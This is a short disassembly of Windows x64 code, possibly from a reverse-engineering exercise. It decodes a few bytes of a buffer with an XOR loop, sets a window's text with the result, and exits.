pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140162000]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401620b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9 + 4]
pxor xmm2, xmm0
movd dword [r9 + 4], xmm2
mov esi, 8
mov r8d, esi
add r8, r9
nop
mov eax, 0x4ec4ec4f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0xe
jl 0x140064280
mov rdx, r9
mov rcx, r10
call qword [sym.imp.USER32.dll_SetWindowTextA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3